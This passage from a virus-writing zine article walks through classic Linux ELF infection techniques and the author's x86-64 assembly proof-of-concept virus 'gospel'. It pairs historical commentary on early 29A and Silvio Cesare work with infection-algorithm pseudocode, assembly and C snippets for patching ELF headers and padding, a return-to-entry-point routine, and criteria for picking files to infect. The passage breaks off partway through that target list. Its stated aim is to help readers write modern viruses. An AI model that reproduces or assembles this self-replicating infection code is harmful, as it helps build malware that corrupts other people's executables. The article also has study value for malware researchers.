┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
u used 2 call me on my polymorphic shell phone pt. 1: │ ▄▄▄▄▄ │
gospel for a new epoch [tales from the crypt — *nix │ █ │
virus archaeology and its applications to modern vx] │ █ │
~ ic3qu33n └───────────────────█ ──┘
[**note: the title of this article is a reference to Yves Tumor's
earth-shatteringly brilliant 2020 album "Heaven to a Tortured Mind"
and the album's track which bears the same name as this article,
caveat s/epoch/century]
TOC ////////////////////////////////////////////////////////////////////////////
* Introduction
* VX PoC/article roadmap and goals
* Part 1: For this evening's entertainment, a virus' evolution in 7 acts!
* Part 2: Silvio Cesare's Unix VX techniques - Overview
* Part 2a. Text segment padding infection
* Part 2b: Linux virus requirements breakdown
* Part 2c: Infection algorithm implementation
* Part 2d: PoC
* Part 2e: Reflections - where's my polymorphism uwu
* Part 3: A squeeze of LiME [sneak preview]
* A toast to new beginnings
* Party favors
* Greetz
* References
Introduction ///////////////////////////////////////////////////////////////////
Like da Vinci, I am predisposed to visiting morgues and studying the corpses for
my anatomical studies. (Yes, dear reader, da Vinci was a goth baddie who snuck
into Italian morgues so he could practice anatomical drawings with models who
would stay still.) We're taking a page out of his book, so to speak. However,
in my case, and for the collective sigh of relief for all readers here, we can
recuse ourselves from any notion of being accessories to a crime, since the
corpses we're excavating will be those of Unix vx of days past.
The careful reader will note that referring to the work of such foundational
Unix/ELF vx grandmasters (do we have a better term for this? Legends? 1337
royalty? Another moniker that isn't so dreadfully gauche? Please call in with
your suggestions, operators are standing by.) as "corpses" is a rhetorical
technique used to set the scene. These "corpses" are alive+well, relevant,
well-written and brilliant; we're going to shine a spotlight on the work of a
few notable authors of early Linux vx.
This article is the first in a series where I'll be revisiting classic Linux vx
techniques and adapting them for targeting modern systems.
Why?
Know your history, bb!
Or to put it more formally, our goals will be two-fold:
First, from a theoretical perspective it's important to know your history. This
is all well and good, but we want to write interesting viruses *now.*
So, secondly, from a practical perspective, as will be demonstrated by the
author of our first Unix vx archaeological study, sometimes you want to look
*backwards* [in an ELF text segment as a means of locating a region to inject a
virus], and sometimes you want to look *forward.* And sometimes, you can do
interesting things by doing both.
So that is what we will do here. We are going to be looking backwards and
forwards in rapid succession and at the end of it, we'll have a Linux virus
(or 2... or 3...) to write home about. As such, I advise you to do some light
stretching beforehand to avoid sustaining a whiplash injury.
Ready?
Let's begin.
VX PoC/article roadmap and goals ///////////////////////////////////////////////
I've been digging up skeletons of Unix vx with the following goals:
1. Adapt early *nix vx techniques to write modern Linux viruses (all written
in assembly, of course) and use those viruses to make art with a variety
of low-level graphics programming constructs.
2. Provide a roadmap for you to adapt early *nix vx techniques in your own
modern Linux vx writing.
This article is structured into three parts, outlined here.
In part 1, to set the stage for our first archaeological study, I'll discuss the
work of several authors of early Linux vx -- sourced from the 29a zine archives,
currently hosted on VX-Underground.
In part 2 we'll dive into the work of Silvio Cesare (silvio) whose articles
"UNIX ELF Parasites and virus"[1] and "UNIX Viruses"[2], function as our f
oundational holy scripture in crafting gnarly Linux vx. All hail silvio. Amen.
I'll focus primarily on one of the four techniques introduced in silvio's
papers: the text segment padding infection technique. I'll walk through the
details of the virus' algorithm, along with code snippets from my PoC, and
discuss design choices and potential challenges of implementing this ELF virus
technique.
This article is accompanied by the complete source code for my PoC virus
"gospel", written in x86-64 asm, which implements Silvio's text segment padding
infection technique to infect x86-64 ELF PIE binaries on a modern Linux host.
In part 3 of this article, I'll provide an introduction to polymorphism, and
build on the techniques covered in parts 1 and 2. I'll discuss several works
of early *nix vx that used polymorphism (and metamorphism). Using these works
as a guide, I'll walk through my implementation of a polymorphic version of
gospel. Part 3 in its entirety will be in a future tmp.0ut volume, but stay
tuned until the end of the article for a fun sneak peek!
Let's get to writing our Linux vx, shall we?
Part 1: For this evening's entertainment, a virus' evolution in 7 acts! ////////
I've taken the liberty of excavating some cadavers from the 29A archives to show
you, a few interesting examples of early Linux vx. I've even saved you the
trouble of having to clean out the dirt from under your fingernails. You're
welcome.
We can't very well dive in right away to silvio's works. They are complex and
merit a close analysis, but in order to get to that point, we have to lay some
ground rules and establish our foundation of Linux VX fundamentals.
Our first two examples provide such a foundation: "ASM TUTORIAL FOR LINUX n' ELF
FILE FORMAT by LiTlLe VxW" [7] and "Linux virus writing tutorial" [8] by
mandragore.
Before anything else, a VX writer has to understand the goals of their virus.
Once they know *what* they want their virus to do, the next step is to evaluate
the options for implementing desired virus functionality.
[7] and [8] establish a framework for Linux vx implementation. This framework
breaks down the key components of a successful virus and can be used to answer
the following questions:
1. What are the data structures that a virus will use, target and manipulate
throughout its lifecycle?
2. What are the methods a virus will use for targeting those data structures?
(i.e. which syscalls will be used and how?)
We can generalize this framework to an even greater level of abstraction: code
and data.
In [8] mandragore refers to this poetically as "2.1 thoses damn structures
needed to know." This section in [8] includes detailed descriptions of
everyone's favorite ELF structures, namely, the ELF header, the Program headers
and the Section headers. I won't detail these structures here, as they will
appear later in the article, and in the PoC code that accompanies this article.
The voracious reader is encouraged to satiate their appetite for detailed
breakdowns of all ELF structures by referring to one of the myriad articles from
the tmp.0ut archives or the tmp.0ut resources. [19]
Little VxW has similar sections in their article [7], with syscall descriptions,
important structures (like dirent and utsname), important flags (such as file
access bits and permission flags) and so on.
Little VxW provides a significant number of code snippets for useful programming
constructs in x86-64 assembly, particularly in the development of Linux vx.
There are bare-bones implementations for no fewer than 10 different syscalls
used in common tasks (opening, closing, reading from/writing to files etc.), as
well as ASCII art diagrams of the aforementioned various headers in an ELF.
While the article is focused on 32-bit platforms, and some of the sections are
a bit outdated (the article is from 2004, after all), it is clear and detailed.
If you're looking for another handy reference on quick-and-dirty asm programming
for Linux, this is a nice article to have in your collection.
The hidden gem of mandragore's article is in fact, the detailed evolution of one
of their virii over the course of "7 acts." It is this part of mandragore's
article that I would like to focus on. Mandragore's story — of a virus that
fails and fails and fails, and finally succeeds — follows a path known too well
by anyone who's ever written a virus. Though common, it is a story that is sadly
not told often.
Such tales of failure and eventual triumph are not novel in literary circles,
but are rarer in vx zines. Thus its inclusion in the article is a welcome
addition. For no other reason than to offer a spot at the table in cyberspace to
commiserate and bemoan the Sisyphean hurdles of trying to write a beautiful
virus.
Perhaps this is something you may resonate with: the ability to successfully
exploit something often comes after many, many, many failed attempts. It is,
unfortunately one of the most effective methods for learning. And it is by
tracing the evolution of these failed attempts in the work of another vx
writer/researcher, that we can notice some interesting parallels in our own
work. Sometimes, we learn best by fucking it up over and over again until we get
it right... so why not share the story of those fuck-ups? This is easier to show
by example so let's do that now.
There are quite a few insightful and fascinating moments of this 7 act saga that
is regaled by mandragore. While we could pull out any of these moments, I've
chosen to pick one to focus on.
In Act 2, mandragore notes, "...i noticed the hole in virutal memory between the
code segment and the data one. But i wuzn't able to use it (and believe me, i
tryied many things). Overwriting not really used section is not safe, so forget
it."[8]
Dear reader, should I spoil the surprise?
I hate surprises so I'm going to spoil this one.
This is the very same technique that silvio perfected in the text segment
padding infection technique (covered in part 2 of this very tmp.0ut article that
you are reading at this moment!)
It's not surprising that two researchers would be interested in the same topic
at approximately the same time, this example provides us with a nice vignette to
show how different researchers approach a problem. In part 2, we'll see how
silvio solved it.
Eventually, mandragore takes another approach with the development of their
virus and succeeds (congrats mandragore!), and though demo code is not provided,
(or at least there was no accompanying demo code in the archived tarball of 29a
zines that I extracted and combed through while researching this article) their
29a article is replete with valuable lessons and insights on the vx research and
development process. Mandragore also gifts us with the absolute knockout section
of golden rules for Linux vx, which I have included in full below. Tag yourself,
I'm rule #7.
```
4.1 Implementing hightech functions
Please don't waste this promised land with lame viruses.
Respect the linux users and don't fill the world of shit.
So add plenty of nice functions.
Here are the ten (old) gold rules;
1) You will use the utime and state syscall to restore the file times.
2) You will use the fchmod/chmod and state syscall to restore the file flags.
3) Retro is limited for now.. just avoid infecting goat files.
4) Always think about using encryption, poly, RDA and such things!
5) Disguise the file : overwrite the name section and some other useless
part of the file to make it harder to work on.
(gdb segfs when it opens an ELF w/o a SHT_STRTAB entry in the section header)
6) You won't infect unless you're sure to not bug everything.
7) Don't run in the street and scream < i'm writing a linux virus ! >
8) You will add a nice payloads, nothing destructiv of course.
9) Don't be full of yourself. Your viruses are the reflect of yourself.
10) You will impose yourself a 10th rule. the more are there, the better it is.
```
[mandragore, 8]
To conclude Part 1, we can move on to a full example... well a half example.
This isn't me throwing shade. In the author's own words "In the end I would like
to say that this is NOT a COMPLETE virus, it's just a program which infects one
file with exactly given name (default name is '1'). There's not any payload nor
any function for searching for targets, so that's why I call this program HALF
virus. Feel free to try it out on any Linux machine, get a copy of any
executable, rename it to '1', run 'a' and watch the beauty..." [TheKing1980, 9].
TheKing1980's HALF virus is an ELF infector. TheKing1980's HALF virus works by
appending the virus body after the last loadable segment of a target ELF. I have
included a brief overview of the virus' functionality, but I encourage you to
refer to the article for a more detailed overview and to review the source code.
The HALF virus searches a target ELF for the last segment of type PT_LOAD, moves
the SH table to the end of the file, and inserts the virus body after the final
PT_LOAD segment. It accounts for adding padding bytes following the newly
inserted virus body so as to (presumably, this is not explicit but implied)
maintain page alignment. It wraps everything up by patching the requisite
offsets in the Section Header table to account for the new offsets for all
sections that follow the newly inserted virus code; as well as patching the
offset to the Section Header table itself. And finally it patches the entry
point of the ELF to point to the virus code and concludes the virus code with
a jump to the original entry point.[9]
In summary — the HALF virus is clever, it's quick and it's written in nasm
syntax asm. So by all important metrics, you're an early Linux vx hero in my
book, long live TheKing1980.
However, there is one part of the code that is of particular interest: a
technique for appending padding bytes to the end of a segment following virus
insertion using an ftruncate syscall.
The relevant code snippet from TheKing1980's OneHalf virus:
```
Next1:
ADD bx,[eax + 42]
LOOP Loop1 ; Find last loadable segment in PH table
POP ecx
MOV esi,edx
ADD edx,[edi + 20]
SUB edx,[edi + 16]
SUB edi,eax
STC
Cont1:
XCHG eax,ebx
MOV eax,91
INT 80h ; SYS_MUNMAP
JNC Quit2
ADD edx,VIRSIZE
MOV eax,93
MOV ebx,[ebp]
MOV ecx,edx
INT 80h ; SYS_FTRUNCATE to new size
TEST eax,eax
JNZ Quit2
```
[9]
This technique allows you to append a set number of null bytes to a file without
the need to perform an lseek on the file first to seek to the correct offset
before writing. This is useful for a virus writer who wants to add padding bytes
to a file to maintaining page alignment.
The ftruncate syscall will simply grow a file by a set amount of null bytes if
the integer passed in rdx (where the integer is the target filesize) is larger
than the current size of the target file. If a virus writer knows a target
offset to write to, and the number of padding bytes they need to insert into a
target file to maintain page alignment, then one implementation of a virus could
chain pwrite64, ftruncate and pwrite64 syscalls to perform most of the dexterous
patchwork.
So that is what I did in my virus. The details of this code snippet will be
unclear to you now, but that context will be provided in the next section of
this article:
```
; the ftruncate syscall will grow the size of file (corresponding to file descriptor fd, saved to stack at r14 + 416)
; by n bytes, where n is a signed integer, passed in rsi
; ftruncate grows the file by appending null bytes
; this provides the nec. padding bytes between the inserted virus body and the original .data segment of a target ELF
; ensuring that page alignment is maintained in the infected ELF
;
; ftruncate(int fd, offset_t length)
; rdi == fd
; rsi == length
; next_segment_offset: offset of segment after .text in host ELF
; vx_padding_size(# padding bytes after vx)=
; next_segment_offset - curr_offset + PAGESIZE
; save value in esi to vx_padding_size at [r14 + 444]
;
.write_padding_after_vx:
xor r11, r11
xor rsi, rsi
mov r11d, dword [PAGESIZE]
mov rsi, qword [r14 + 424]
add esi, r11d
mov dword [r14 + 444], esi
mov rax, 0x4d ;SYS_FTRUNCATE
syscall
```
Part 2: Silvio cesare's Unix VX techniques /////////////////////////////////////
"UNIX ELF Parasites and virus"[1] and "UNIX Viruses"[2] by Silvio Cesare (aka
silvio), were both published in 1998. There is a fair chance that if you're
reading this article, you're already familiar with silvio's work.
See elfmaster's excellent retrospective on "Unix Viruses" in this issue of
tmp.0ut for more about the articles and their legacy.
Silvio's articles on a myriad of Unix/Linux vx techniques that he
discovered/invented/brewed in his home lab and simmered to vx excellence (Again,
dear reader, you are invited to call in with your thoughts on the best term for
this. Operators are standing by at the vx hotline, but be warned that they are
prone to excessively long smoke breaks and they will only answer if you call
collect.) are well-known and highly regarded. Another example of a great silvio
paper is [5], which I won't be covering today but is an excellent read
nonetheless. Since his work is so foundational to Linux vx, it only makes sense
that we start there. If you're thinking "but I'm baby with Linux vx!!" then
consider our foray into these articles your first bb steps.
There is a fair amount of overlap between the two articles. In fact, as a
researcher, reading these articles in succession yields some surprising and
unexpected gems. For example, in [1], Silvio notes "If the parasite code is to
be inserted by extending the text segment backwards and using this extra memory,
problems can arise because these ELF headers may have to move in memory and thus
cause problems with absolute referencing." And in [2], he notes: "Extending the
text segment backwards is a viable solution and is documented and implemented
further in this article."
This was a cool way to observe someone discovering a new technique over time and
tbh it was a nice researcher vignette. Yay silvio!
Overall, there are four infection techniques presented in these two articles:
* file infection
* data (segment) infection
* reverse text (segment) infection
* text segment padding infection
The latter three infection techniques are specific to infecting ELF binaries,
whereas the first one is a generic file infection technique for any executable.
Along with Silvio's articles, an accompanying PoC demo virus (both C source and
compiled binary) was initially published and hosted on the website; this site no
longer exists (rip) but a snapshot is available on the Wayback Machine, and the
tarball is still accessible [see 4].
Of these three ELF-specific infection techniques, I will be covering one in this
article — Text segment padding infection. For an excellent demo of one of the
other techniques (Reverse text segment infection technique), I refer the reader
to TMZ's excellent Nasty.asm in tmp.0ut vol. 1, as well as qkumba's RE of
Nasty.asm in this current issue of tmp.0ut. TMZ's Nasty.asm provided me with a
roadmap for constructing my PoC and was an invaluable resource for me in writing
my first Linux vx.
Part 2a: ELF Text segment padding infection technique overview /////////////////
To briefly summarize the text segment padding infection technique, we can
exploit the fact that different segments of an ELF binary need to be aligned on
a page boundary in memory and thus will have a set number of padding bytes
between segments (i.e. .text, .data, etc.)
By inserting our virus payload into the padding bytes themselves, ensuring that
proper page alignment remains intact, then we'll simply need to patch the
corresponding fields in the ELF header (and program headers, and section headers)
to update relevant offsets and match the changes that result after inserting our
virus code into the host ELF.
Below is a visual overview of the use of the padding bytes as a code cave:
[With the diagrams, I am using the same technique for describing this as Silvio
used in [1] and [2]. Describing the infection techniques by using ASCII art
diagrams that show the virus code, padding, data and text segments — is such
an excellent visual teaching tool that is worth adapting here. Seriously though,
plz read silvio's articles first.]
.text segment = +
.data segment = d
Padding = P
Virus = V
[Program prior to infection]
-[++++++++ +++++++P]<- text segment + padding
-[PPPPPPPP PPPPPPPP]<- padding
-[PPPPPPPP dddddddd]<- padding + data segment
-[dddddddd dddddddd]<- data segment
[After vx infection (using text segment padding infection technique)]
-[++++++++ +++++++V]<- text segment + ~*virus*~
-[VVVVVVVV VVVVVVPP]<- ~*virus*~ + padding
-[PPPPPPPP dddddddd]<- padding + data segment
-[dddddddd dddddddd]<- data segment
This insertion step requires some minor bookkeeping, (e.g. changing p_filesz
and p_memsz in the Program Header for the .text segment).
In addition to implementing routines for patching the ELF Header and the Program
Headers, the virus writer must implement an additional patching routine to
successfully infect stripped binaries.
Our virus code will be inserted into the padding bytes between the .text and
.data segments. This padding is viewed as essentially purgatory/limbo/no man's
land and it is not associated with a section in the ELF. If our virus infects a
host ELF that is a stripped binary, then the virus cannot rely on the binary's
symbols to resolve addresses. Without a workaround, the resulting infected ELF
will not run, and our virus' efficacy will be limited to infecting unstripped
binaries.
To ensure that our virus remains "strip-safe," then we must implement an
additional routine: associate the virus code with the last section in the .text
segment by adjusting the sh_len field of that section to account for the newly
inserted virus code.
The pseudocode outline of the algorithm for the infection routine (which makes
up the bulk of our virus code) follows. It is adapted from the algorithm defined
by Silvio in [2], with my own additional notes added for clarity during my vx
development process:
;**********************************************************
; Text segment padding virus, infection routine:
;
; assumes the following:
; vlen == length of virus code
; PAGESIZE == 4096
;
; 1. Find and save original entry point (OEP) of ELF host
; 2. Patch ELF header values to account for newly inserted virus code
; a. Patch e_entry in the ELF header to point to the beginning of the virus code
; b. change e_shoff in virus ELF header to new_vx_e_shoff s.t. new_vx_e_shoff = host_e_shoff + PAGESIZE
; 3. a. Loop through all Phdrs to find text segment Phdr
; b. if curr_Phdr == text_segment_Phdr then, do the following:
; i. increase p_filesz by vlen [p_filesz += vlen]
; ii. increase p_memsz by vlen, [p_memsz += vlen]
; c. Else, for all Phdrs corresponding to segments located after the inserted
; virus code (aka for each Phdr of a segment after the text segment),
; then, do the following:
; i. increase p_offset by PAGESIZE
; 4. Loop through all Shdrs
; a. If curr_shdr == last_shdr_text_segment then,
; i. increase sh_len by vlen [sh_len += vlen]
; b. Else, for all Shdrs corresponding to sections located after the inserted
; virus code (aka for each Shdr of a section after virus code), then, do
; the following:
; i. increase sh_offset by PAGESIZE [sh_offset += PAGESIZE]
; 5. Insert the virus code into the host program
; a. In our case, insert the virus code into the tempfile we are constructing to replace host ELF
; b. Add routine to end of virus code so that execution continues with a jump back to saved OEP
;
;**********************************************************
It's important to note that several of the values defined above (i.e. vx_shoff
in item #2b) will be computed during the Phdr and Shdr patching routines, and
will not be known ahead of time. As such, the ordering of the steps in the
implementation of the algorithm will differ from the initial outline in the
pseudocode above.
As a reference, here's the relevant code snippet from Silvio's virus written in
C [elf-p-virus.c, 4]:
230 /* patch the offset */
231 *(long *)&v[vhoff] = offset;
232
233 /* read the shdr's */
234
235 if (lseek(fd, ehdr.e_shoff, SEEK_SET) < 0) goto error;
236 if (read(fd, (void *)sdata, slen) != slen) goto error;
237
238 /* update the shdr's to reflect the insertion of the parasite */
239
240 for (shdr = (Elf32_Shdr *)sdata, i = 0; i < ehdr.e_shnum; i++) {
241 if (shdr->sh_offset >= offset) {
242 shdr->sh_offset += PAGE_SIZE;
243 /* is this the last text section? */
244 } else if (shdr->sh_addr + shdr->sh_size == evaddr) {
245 /* if its not strip safe then we cant use it */
246 if (shdr->sh_type != SHT_PROGBITS) goto error;
247
248 shdr->sh_size += vlen;
249 }
250
251 ++shdr;
252 }
253
254 /* update ehdr to reflect new offsets */
255
256 oshoff = ehdr.e_shoff;
257 if (ehdr.e_shoff >= offset) ehdr.e_shoff += PAGE_SIZE;
[silvio, 4]
Part 2b: Linux virus requirements breakdown ////////////////////////////////////
/////////////////////////////////////////// [or: so u want 2 write linux vx bb?]
Silvio's articles outline the infection algorithms for each virus technique.
However, the articles demand no singular method for the various auxiliary
components of our virus, which are important to define before we implement it.
So let's define those now:
1. A work area to save the original state of the host ELF
Due to the nature of an ELF file and the infection method chosen (writing
our virus to the padding bytes following the .text segment, then adjusting
offsets, as opposed to inserting the virus body in a different location,
such as the end of the file, the last PT_LOAD segment, or to the end of
the data segment), we'll need to perform something of a Frankenstein
procedure to construct our final infected ELF.
We need to map the host ELF to a "work area" prior to infection. We will
use this work area to lay out all our ELF components (e.g. the EHdr, the
PHdrs, the Shdrs etc.) in their original state before we stitch them back
together into one monstrous creature.
We could define this "work area" as an uninitialized buffer in our virus,
but that could get messy in dealing with the .bss. So, let's take a simpler
approach: use mmap to map our original host ELF into a work area, the saved
contents of which we will use as we progressively patch different regions
of the host file during the infection process.
Which leads us to our next requirement...
2. A target area for building our final daemonic bb vx
Don't cry. I know, it's getting messy in our main work area and we need
some more space. After all, we can't start assembling our myriad of host
and virus components on our main work area. Why? We have to use the main
work area to save important info about the original state of our host file!
If we start stitching up our monster here, we're going to overwrite
important details of the Ehdrs and the Phdrs and the Shdrs, and then we
won't know how to get back. Things will get fucked up and then you'll
start crying about how "Linux vx is so hard!!" and "why do we have to
write everything in assembly?" and "I thought you said you liked my
haircut??" And honestly, sweetheart, we just don't have the time. I'm
pulling over another workbench. You work over there and maintain the books.
I'll work over here, with my needle, ready to stitch together the monster
we're creating.
So, we need a target work area for building our complete infected host + vx
ELF. A temp file is a good solution to this. There are other options, the
exploration of which I leave as an exercise to the reader.
Next, we need to define and gather virus ingredients. Recall from our analysis
in [Part 1a] that we can the techniques from the virus writing framework of the
articles by Little VxW[7] and mandragore[8] for this task.
The relevant data structures for my implementation of the text segment padding
infection technique in gospel are the following:
* the ELF Header
* ELF Program Headers
* ELF Section headers
* dirent struct (returned from getdents64 syscall, used for parsing dirents)
* the stat struct (returned from an fstat syscall)
Before I introduce you to the stack layout of gospel, which details how/where
I stored each of these data structures, I'll note a few points:
* Originally, I placed all of the struct definitions for the relevant data
structures in a .bss section in my virus. However, due to the logic of the
virus' infection/replication routines (specifically how it reconstructs a
copy of itself in a newly infected host ELF), these struct definitions had to
be moved from the .bss section to the .text section. Defining them in the
.bss section would have required the addition of a routine for copying the
.bss section from the virus, and I preferred the simpler logic (and smaller
overall code size) of a virus that was entirely self-contained (so to speak)
within the .text segment.
* Several of the variable names stored on the stack may appear obtuse to you
for the moment, dear reader, but smile and nod your greetings and I'll catch
you up on the details in due time.
I'll introduce these in two phases: First, I will describe struct definitions in
the .bss section. Second, I will present the stack layout used in my PoC called
"gospel". This layout is used instead of a .bss or .data section in our virus,
and stores all important data in the .text section.
Now without further ado, the stack layout of gospel:
```
;***************************************************************
; gospel stack layout:
; stacks on stacks on stacks
; I'm doing this because a .bss section for a virus
; is a nightmare to deal with
; so, yw, I've written out the stack layout 4 u
; il n'y a plus de cauchemars
; jtm
; xoxo
;
; Note that I use r14 here rather than rsp
; This is because gospel begins by reserving 0x2000 bytes on the stack and then
; moving the saved value of [rsp - 0x2000] to r14
;
;***************************************************************
;
;////////// filestat struct //////////////
;
; r14 = struc filestat
; r14 + 0 .st_dev resq 1 ;IDdevcontainingfile
; r14 + 8 .st_ino resq 1 ;inode#
; r14 + 16 .st_mode resd 1 ;mode
; r14 + 20 .st_nlink resd 1 ;#ofhardlinks
; r14 + 24 .st_uid resd 1 ;useridofowner
; r14 + 28 .st_gid resd 1 ;groupIdofowner
; r14 + 32 .st_rdev resq 1 ;devID
; r14 + 40 .st_pad1 resq 1 ;padding
; r14 + 48 .st_size resd 1 ;totalsizeinbytes
; r14 + 52 .st_blksize resq 1 ;blocksizeforfsi/o
; r14 + 60 .st_pad2 resd 1 ;padding
; r14 + 68 .st_blocks resq 1 ;#of512bblocksalloc'd
; r14 + 76 .st_atime resq 1 ;timelastfileaccess
; r14 + 84 .st_mtime resq 1 ;timeoflastfilemod
; r14 + 92 .st_ctime resq 1 ;timelastfilechange
; ...
; r14 + 144 end struc
;
;
;
;////////// ***Return to OEP instructions*** //////////////
; Instructions for returning to original entry point of PIE host ELF
; after conclusion of vx routines; appended to end of vx body
;
; Shout to MalcolmVX for the guidance and help on figuring out the ret2oep routine
; References:
;[16] Return To Original Entry Point Despite PIE", s0lden, tmp.0ut, volume 1, https://tmpout.sh/1/11.html
;[17] S01den and Sblip, tmp.0ut, volume 1, https://tmpout.sh/1/Linux.Kropotkine.asm
;[18] anansi, sad0p, https://github.com/sad0p/anansi
;
;[r14 + 150] = 0xe8 ;call get_rip
;[r14 + 151] = 0x14 ;at offset of 0x14 from curr instruction
;[r14 + 155] = 0x2d48 ;sub rax, vlen+5(length of get_rip instructions)
;[r14 + 157] = vlen+5
;[r14 + 161] = 0x2d48 ;sub rax, vxstart
;[r14 + 163] = vxstart
;[r14 + 167] = 0x0548 ;add rax, OEP
;[r14 + 169] = OEP
;[r14 + 173] = 0xe0ff ;0xff 0xe0 = jump eax
;[r14 + 175] = 0x24048b48 ;mov rax, [rsp]; - call get_rip
;[r14 + 179] = 0xc3 ;ret
;
;
;
;////////// Local variables //////////////
; used for phdr and shdr manipulation routines
;
; r14 + 200 = local filename (saved from dirent.d_nameq)
;
; ...
;
; r14 + 400 ; evaddr: dq 0
; r14 + 408 ; oshoff: dq 0 ;original section header offset
; r14 + 416 ; fd: dq 0
; r14 + 424 ; next_segment_offset: dq 0
; r14 + 432 ; hostentry_offset: dd 0
; r14 + 436 ; vxoffset: dd 0
; r14 + 440 ; vxshoff: dd 0
; r14 + 444 ; vx_padding_size: dd 0
; r14 + 448 ; original_entry_point: dq 0
;
; r14 + 500 = # of dirent entries returned from getdents64 syscall
;
;
;////////// dirent struct //////////////
;
; r14 + 600 = struc linuxdirent
; r14 + 600 .d_ino: resq 1
; r14 + 608 .d_off: resq 1
; r14 + 616 .d_reclen: resb 2
; r14 + 618 .d_nameq: resb 1
; r14 + 619 .d_type: resb 1
; r14 + 620 endstruc
;
;
;////////// ELF Header //////////////
;
; r14 + 800 = mmap'd copy of host ELF executable to infect
; r14 + 800 struc elf_ehdr
; r14 + 800 .e_ident resd 1 ;ELF sig.,bytes0-3
; r14 + 804 .ei_class resb 1 ;ELF class,byte 4
; r14 + 805 .ei_data resb 1 ;ELF byte 5
; r14 + 806 .ei_version resb 1 ;byte 6
; r14 + 807 .ei_osabi resb 1 ;byte 7
; r14 + 808 .ei_abiversion resb 1 ;byte 8
; r14 + 809 .ei_padding resb 6 ;bytes 9-14
; r14 + 815 .ei_nident resb 1 ;sizeidentarr,byte15
; r14 + 816 .e_type resw 1 ;uint16_t,bytes16-17
; r14 + 818 .e_machine resw 1 ;uint16_t,bytes18-19
; r14 + 820 .e_version resd 1 ;uint32_t,bytes20-23
; r14 + 824 .e_entry resq 1;ElfN_Addr,bytes24-31
; r14 + 832 .e_phoff resq 1 ;ElfN_Off,bytes32-39
; r14 + 840 .e_shoff resq 1 ;ElfN_Off,bytes40-47
; r14 + 848 .e_flags resd 1 ;uint32_t,bytes48-51
; r14 + 852 .e_ehsize resb 2 ;uint16_t,bytes52-53
; r14 + 854 .e_phentsize resb 2 ;uint16_t,bytes54-55
; r14 + 856 .e_phnum resb 2 ;uint16_t,bytes56-57
; r14 + 858 .e_shentsize resb 2 ;uint16_t,bytes58-59
; r14 + 860 .e_shnum resb 2 ;uint16_t,bytes60-61
; r14 + 862 .e_shstrndx resb 2 ;uint16_t,bytes62-63
; r14 + 864 endstruc
;
;
;////////// ELF Program Headers //////////////
;
; the ELF Program headers will exist as entries in the PHdr table
; of course, we won't know ahead of time how many entries there are
; but we do know the offsets to all the fields of each Phdr entry
; so we can use those offsets, combined with the elf_ehdr.e_phoff to
; calculate the offsets of the fields in each PHdr as we iterate
; through them
;
; the calculation to each phdr will essentially be:
; phdr_offset = elf_ehdr.e_phoff + (elf_ehdr.e_phentsize * phent_index)
; where phent_index is an integer n in the range [0, elf_ehdr.e_phnum]
; corresponding to the nth Phdr entry
; I've simplified this in the below offset listings --
; the below offset listings assume that you are at the 0th PHdr
; obv adjust accordingly
; r14 + elf_ehdr.e_phoff + 0 struc elf_phdr
; r14 + elf_ehdr.e_phoff + 0 .p_type resd 1 ;uint32_t
; r14 + elf_ehdr.e_phoff + 4 .p_flags resd 1 ;uint32_t
; r14 + elf_ehdr.e_phoff + 8 .p_offset resq 1 ;Elf64_Off
; r14 + elf_ehdr.e_phoff + 16 .p_vaddr resq 1 ;Elf64_Addr
; r14 + elf_ehdr.e_phoff + 24 .p_paddr resq 1 ;Elf64_Addr
; r14 + elf_ehdr.e_phoff + 32 .p_filesz resq 1 ;uint64_t
; r14 + elf_ehdr.e_phoff + 40 .p_memsz resq 1 ;uint64_t
; r14 + elf_ehdr.e_phoff + 48 .p_align resq 1 ;uint64_t
; r14 + elf_ehdr.e_phoff + 56 endstruc
;
;
;////////// ELF Section Headers //////////////
;
;
; We can use the same breakdown of offsets that we used above
; for calculating the offsets of the fields in each of the
; ELF Section Headers:
;
; r14 + elf_ehdr.e_shoff + 0 struc elf_shdr
; r14 + elf_ehdr.e_shoff + 0 .sh_name resd 1 ;uint32_t
; r14 + elf_ehdr.e_shoff + 4 .sh_type resd 1 ;uint32_t
; r14 + elf_ehdr.e_shoff + 8 .sh_flags resq 1 ;uint64_t
; r14 + elf_ehdr.e_shoff + 16 .sh_addr resq 1 ;Elf64_Addr
; r14 + elf_ehdr.e_shoff + 24 .sh_offset resq 1 ;Elf64_Off
; r14 + elf_ehdr.e_shoff + 32 .sh_size resq 1 ;uint64_t
; r14 + elf_ehdr.e_shoff + 40 .sh_link resd 1 ;int32_t
; r14 + elf_ehdr.e_shoff + 44 .sh_info resd 1 ;uint32_t
; r14 + elf_ehdr.e_shoff + 48 .sh_addralign resq 1 ;uint64_t
; r14 + elf_ehdr.e_shoff + 56 .sh_entsize resq 1 ;uint64_t
; r14 + elf_ehdr.e_shoff + 64 endstruc
;***************************************************************
```
For our code ingredients, we can use the algorithm from silvio's paper as a
guide, as it outlines the virus' infection routine. My implementation of this
algorithm follows in [part 2c].
We will need other routines in our virus, such as for identifying viable target
files. This will answer questions like "How do we even find files to infect?"
and "How do we verify that each candidate file is a valid target ELF??
Of course, there are many ways one could go about a check_file routine. In my
implementation, I devised an approach based on the techniques of works by
silvio[1,2], TMZ[14], and elfmaster[13], as these were the virii that I
referenced most often while writing this PoC.
In my PoC, to find target files to infect, gospel does the following:
* Use the getdents64 syscall to get the dirent structs for the current working
directory.
* Iterate through each entry (if getdents64 returns a positive integer value;
otherwise, uh oh) and perform checks.
* After each file has been checked, it either calls the infection routine (if
the candidate file is a valid target ELF) or the check_file routine will check
the file in the next dirent struct. It calculates the offset to the next
dirent entry by using the d_reclen field value of the current dirent struct.
What are the requirements that we want the file we are checking to satisfy?
Minimally, the target file has to be an ELF. Beyond that, the required elements
of the ELF target will be specific to the virus being implemented and the target
system.
Here are the requirements I used to determine valid ELF infection targets:
```
;**********************************************************
;check_file:
; open file -> fstat file (get file size) - > use fstat.size for mmap call & mmap file
; upon successful mmap, close file
; use mmap'd file for checks to confirm that the target file satisfies the following:
; 1. the target file is an executable*
; 2. the target file is an ELF
; 3. the target file is a 64-bit ELF
; 4. the target file arch is x86_64
; 5. The target file is neither "." (cwd) nor ".." (Parent dir)
; 6. the target file is not already infected (check w signature at known offset)
